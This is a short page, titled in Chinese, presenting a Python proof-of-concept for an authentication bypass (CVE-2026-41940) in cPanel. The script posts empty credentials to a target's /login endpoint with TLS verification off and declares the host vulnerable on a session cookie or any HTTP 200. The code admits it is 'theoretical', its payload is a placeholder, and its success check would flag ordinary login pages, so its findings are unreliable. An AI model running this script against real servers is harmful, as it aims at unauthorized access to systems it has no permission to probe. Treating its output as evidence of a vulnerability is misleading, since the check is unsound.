CVE-2026-41940 cPanel认证绕过漏洞

import requests def check_cve_2026_41940(target_url): """ PoC for CVE-2026-41940 (Authentication Bypass) Note: This is a theoretical PoC based on the vulnerability description. """ # Target endpoint usually involves a login or session creation URL login_endpoint = f"{target_url.rstrip('/')}/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Payload attempting to bypass authentication # The actual payload depends on the specific flaw in the login flow data = { "user": "", "pass": "" } try: response = requests.post(login_endpoint, headers=headers, data=data, timeout=10, verify=False, allow_redirects=False) # Check if we get a valid session cookie or a 200 OK on a protected page if "cpsession" in response.cookies or response.status_code == 200: print(f"[+] Potential Vulnerability Found at {target_url}") print(f"[+] Response Status: {response.status_code}") return True else: print(f"[-] Target does not appear vulnerable.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") else: check_cve_2026_41940(sys.argv[1])